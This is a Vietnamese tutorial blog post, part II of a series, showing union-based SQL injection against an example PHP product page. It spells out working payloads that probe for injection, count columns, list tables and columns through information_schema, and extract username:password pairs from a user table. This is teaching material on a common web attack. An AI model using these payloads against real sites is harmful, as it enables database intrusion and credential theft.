Cơ bản về SQL Injection – part II (Khai thác)

Cơ bản về SQL Injection – part II (Khai thác)

Ở phần trước, chúng ta đã tìm hiểu cơ bản về lỗ hổng SQL Injection thông qua một ví dụ đơn giản. Phần này, hãy cùng tìm hiểu một số kỹ thuật thường được sử dụng khi khai thác lỗ hổng này.

Khai thác SQL Injection sử dụng union

Đây là một trong những kỹ thuật hay sử dụng nhất khi khai thác SQL Injection.

Giả sử ta có một website giới thiệu máy tính, phần xem chi tiết sản phẩm như sau:

Hình 1. Cơ bản về SQL Injection - part II

Đường link của trang web:


http://tek.eten.vn/sql/union/product.php?id=1

(đường link không có thật đâu, chỉ là ví dụ thôi ^^)

Chi tiết về sản phẩm có id=1 được hiện ra trên màn hình, câu truy vấn CSDL sẽ là:

$query = "select * from product where id = ".$id;
select * from product where id = 1

Ta thêm một biểu thức logic luôn trả về giá trị true vào cuối link:

http://tek.eten.vn/sql/union/product.php?id=1 and 1=1

Kết quả thu được trên màn hình không thay đổi. Bây giờ ta thay and 1=1 bằng and 1=0 sẽ nhận được thông báo “Không tìm thấy sản phẩm!”. Lý do là trang web đã bị lỗi SQL Injection và kết quả trả về của hai câu truy vấn trong hai trường hợp này là khác nhau:

select   * from product where id = 1 and 1=1
select   * from product where id = 1 and 1=0

Kỹ thuật khai thác sử dụng union dựa vào khả năng kết hợp kết quả của hai câu lệnh select. Điều lưu ý ở đây là hai câu lệnh union phải có cùng số column, vì thế ta sẽ phải xác định số column của câu lện select thứ nhất:

http://tek.eten.vn/sql/union/product.php?id=1 union select 1
http://tek.eten.vn/sql/union/product.php?id=1 union select 1,2
…

Tăng dần số cột của mệnh đề select thứ hai cho đến khi kết quả thu được như bình thường, ta xác định được số column là 5:

http://tek.eten.vn/sql/union/product.php?id=1 union select 1,2,3,4,5

Hình 2. Cơ bản về SQL Injection - part II

select * from   product where id = 1 union select 1,2,3,4,5

Thay id = 1 bằng một giá trị không tồn tại, ví dụ id = -1

Hình 3. Cơ bản về SQL Injection - part II

Ta thấy rằng khi thay id bằng một giá trị không tồn tại, mệnh đề select thứ nhất không trả về kết quả nào, kết quả của mệnh đề select thứ 2 được hiển thị.

Như vậy ta đã hiển thị được kết quả của câu lệnh select thứ hai ra màn hình. Bây giờ ta sẽ tùy biến câu lệnh này để lấy thông tin trong cơ sở dữ liệu.

Giới thiệu về information_schema

information_schema là một database có sẵn trong hệ quản trị cơ sở dữ liệu MySQL và MSSQL chứa nhiều thông tin về các database. Ta quan tâm đến hai bảng trong information_schema là information_schema.tablesinformation_schema.columns

  • information_schema.tables: Thông tin về tất cả các bảng có trong tất các database.
  • information_schema.columns: Thông tin về tất cả các cột có trong tất các database.

Hình 4. Cơ bản về SQL Injection - part II

Ta có thể sử dụng information_schema.tables để lấy tên tất cả các bảng trong CSDL:

http://tek.eten.vn/sql/union/product.php?id=-1 union select  1, group_concat(table_name), 3, 4, 5 from information_schema.tables
select * from   product where id = -1 union select 1, group_concat(table_name), 3, 4, 5 from   information_schema.tables

Hình 5. Cơ bản về SQL Injection - part II
Tên các bảng trong CSDL

Ta tiếp tục sử dụng information_schema.columns để lấy tên các cột trong bảng user:

http://tek.eten.vn/sql/union/product.php?id=-1 union select 1, group_concat(column_name), 3, 4, 5 from information_schema.columns where  table_name=’user’ and table_schema=database()

Hình 6. Cơ bản về SQL Injection - part II
Các cột trong bảng

Từ đây ta có thể lấy mọi thông tin về các user:

http://tek.eten.vn/sql/union/product.php?id=-1 union select 1,concat(username, 0x3a, password), 3 , 4, 5 from user
http://tek.eten.vn/sql/union/product.php?id=-1 union select 1, concat(username, 0x3a, password), 3, 4, 5 from user

Hình 7. Cơ bản về SQL Injection - part II
Username và password đầu tiên trong bảng user

(còn tiếp…)

Khi trích dẫn bài viết từ tek.eten.vn, xin vui lòng ghi rõ nguồn. Chúng tôi sẽ rất cảm ơn bạn!